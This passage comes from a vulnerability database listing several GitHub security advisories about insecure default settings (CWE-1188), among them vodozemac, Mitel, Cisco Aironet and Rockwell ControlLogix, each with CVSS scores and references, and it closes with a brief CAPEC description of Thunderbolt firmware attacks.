  "details": "Versions 0.5.0 and 0.5.1 of vodozemac have degraded secret zeroization capabilities, due to changes in third-party cryptographic dependencies (the Dalek crates), which moved secret zeroization capabilities behind a feature flag while vodozemac disabled the default feature set.\n\n### Impact\nThe degraded zeroization capabilities could result in the production of more memory copies of encryption secrets and secrets could linger in memory longer than necessary. This marginally increases the risk of sensitive data exposure.\n\nOverall, we consider the impact of this issue to be low. Although cryptographic best practices recommend the clearing of sensitive information from memory once it\u0027s no longer needed, the inherent limitations of Rust regarding absolute zeroization reduce the practical severity of this lapse.\n\n### Patches\nThe patch is in commit https://github.com/matrix-org/vodozemac/pull/130/commits/297548cad4016ce448c4b5007c54db7ee39489d9.\n\n### Workarounds\nNone.\n\n### For more information\nIf you have any questions or comments about this advisory please email us at [security at matrix.org](mailto:security@matrix.org).",
  "id": "GHSA-c3hm-hxwf-g5c6",
  "modified": "2024-05-20T15:34:44Z",
  "published": "2024-05-03T19:34:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/vodozemac/security/advisories/GHSA-c3hm-hxwf-g5c6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34063"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/vodozemac/commit/297548cad4016ce448c4b5007c54db7ee39489d9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/matrix-org/vodozemac"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2024-0342.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vodozemac has degraded secret zeroization capabilities"
}

GHSA-C4QC-955V-V62V

Vulnerability from github – Published: 2024-03-27 09:30 – Updated: 2024-08-01 15:31
VLAI
Details

A vulnerability in the BluStar component of Mitel InAttend 2.6 SP4 through 2.7 and CMG 8.5 SP4 through 8.6 could allow access to sensitive information, changes to the system configuration, or execution of arbitrary commands within the context of the system.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-28815"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-27T07:15:49Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability in the BluStar component of Mitel InAttend 2.6 SP4 through 2.7 and CMG 8.5 SP4 through 8.6 could allow access to sensitive information, changes to the system configuration, or execution of arbitrary commands within the context of the system.",
  "id": "GHSA-c4qc-955v-v62v",
  "modified": "2024-08-01T15:31:34Z",
  "published": "2024-03-27T09:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28815"
    },
    {
      "type": "WEB",
      "url": "https://cwe.mitre.org/data/definitions/1188.html"
    },
    {
      "type": "WEB",
      "url": "https://www.mitel.com/-/media/mitel/file/pdf/support/security-advisories/security-bulletin_24-0003-001-v1.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.mitel.com/support/security-advisories"
    },
    {
      "type": "WEB",
      "url": "https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-24-0003"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C686-G9FF-6F7M

Vulnerability from github – Published: 2022-05-24 17:03 – Updated: 2024-04-04 02:42
VLAI
Details

The Last.fm desktop app (Last.fm Scrobbler) through 2.1.39 on macOS makes HTTP requests that include an API key without the use of SSL/TLS. Although there is an Enable SSL option, it is disabled by default, and cleartext requests are made as soon as the app starts.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-19251"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-12-10T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Last.fm desktop app (Last.fm Scrobbler) through 2.1.39 on macOS makes HTTP requests that include an API key without the use of SSL/TLS. Although there is an Enable SSL option, it is disabled by default, and cleartext requests are made as soon as the app starts.",
  "id": "GHSA-c686-g9ff-6f7m",
  "modified": "2024-04-04T02:42:40Z",
  "published": "2022-05-24T17:03:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19251"
    },
    {
      "type": "WEB",
      "url": "https://getsatisfaction.com/lastfm/topics/why-doesnt-the-macos-client-enable-ssl-by-default-c1nh5k1s054ak"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C6VQ-6RWF-MQ8Q

Vulnerability from github – Published: 2022-05-13 01:10 – Updated: 2022-05-13 01:10
VLAI
Details

A vulnerability in Cisco Aironet 1830 Series and Cisco Aironet 1850 Series Access Points running Cisco Mobility Express Software could allow an unauthenticated, remote attacker to take complete control of an affected device. The vulnerability is due to the existence of default credentials for an affected device that is running Cisco Mobility Express Software, regardless of whether the device is configured as a master, subordinate, or standalone access point. An attacker who has layer 3 connectivity to an affected device could use Secure Shell (SSH) to log in to the device with elevated privileges. A successful exploit could allow the attacker to take complete control of the device. This vulnerability affects Cisco Aironet 1830 Series and Cisco Aironet 1850 Series Access Points that are running an 8.2.x release of Cisco Mobility Express Software prior to Release 8.2.111.0, regardless of whether the device is configured as a master, subordinate, or standalone access point. Release 8.2 was the first release of Cisco Mobility Express Software for next generation Cisco Aironet Access Points. Cisco Bug IDs: CSCva50691.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-3834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-04-06T18:59:00Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability in Cisco Aironet 1830 Series and Cisco Aironet 1850 Series Access Points running Cisco Mobility Express Software could allow an unauthenticated, remote attacker to take complete control of an affected device. The vulnerability is due to the existence of default credentials for an affected device that is running Cisco Mobility Express Software, regardless of whether the device is configured as a master, subordinate, or standalone access point. An attacker who has layer 3 connectivity to an affected device could use Secure Shell (SSH) to log in to the device with elevated privileges. A successful exploit could allow the attacker to take complete control of the device. This vulnerability affects Cisco Aironet 1830 Series and Cisco Aironet 1850 Series Access Points that are running an 8.2.x release of Cisco Mobility Express Software prior to Release 8.2.111.0, regardless of whether the device is configured as a master, subordinate, or standalone access point. Release 8.2 was the first release of Cisco Mobility Express Software for next generation Cisco Aironet Access Points. Cisco Bug IDs: CSCva50691.",
  "id": "GHSA-c6vq-6rwf-mq8q",
  "modified": "2022-05-13T01:10:42Z",
  "published": "2022-05-13T01:10:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3834"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170405-ame"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/97422"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1038181"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C993-389P-JQHF

Vulnerability from github – Published: 2026-03-06 00:31 – Updated: 2026-03-06 00:31
VLAI
Details

Microsoft ACI Confidential Containers Information Disclosure Vulnerability

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-26122"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-05T23:16:19Z",
    "severity": "MODERATE"
  },
  "details": "Microsoft ACI Confidential Containers Information Disclosure Vulnerability",
  "id": "GHSA-c993-389p-jqhf",
  "modified": "2026-03-06T00:31:34Z",
  "published": "2026-03-06T00:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26122"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26122"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CC55-85C3-4V7G

Vulnerability from github – Published: 2022-11-11 19:00 – Updated: 2022-11-16 19:00
VLAI
Details

Insecure default variable initialization in BIOS firmware for some Intel(R) NUC Boards and Intel(R) NUC Kits before version MYi30060 may allow an authenticated user to potentially enable denial of service via local access.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-36349"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-11T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Insecure default variable initialization in BIOS firmware for some Intel(R) NUC Boards and Intel(R) NUC Kits before version MYi30060 may allow an authenticated user to potentially enable denial of service via local access.",
  "id": "GHSA-cc55-85c3-4v7g",
  "modified": "2022-11-16T19:00:28Z",
  "published": "2022-11-11T19:00:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36349"
    },
    {
      "type": "WEB",
      "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00752.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CFC3-WWCP-8574

Vulnerability from github – Published: 2025-08-14 15:30 – Updated: 2025-08-14 15:30
VLAI
Details

A security issue exists due to the web-based debugger agent enabled on Rockwell Automation ControlLogix® Ethernet Modules. If a specific IP address is used to connect to the WDB agent, it can allow remote attackers to perform memory dumps, modify memory, and control execution flow.

Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-7353"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-14T14:15:35Z",
    "severity": "CRITICAL"
  },
  "details": "A security issue exists due to the web-based debugger agent enabled on Rockwell Automation ControlLogix\u00ae Ethernet Modules. If a specific IP address is used to connect to the WDB agent, it can allow remote attackers to perform memory dumps, modify memory, and control execution flow.",
  "id": "GHSA-cfc3-wwcp-8574",
  "modified": "2025-08-14T15:30:44Z",
  "published": "2025-08-14T15:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7353"
    },
    {
      "type": "WEB",
      "url": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1732.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

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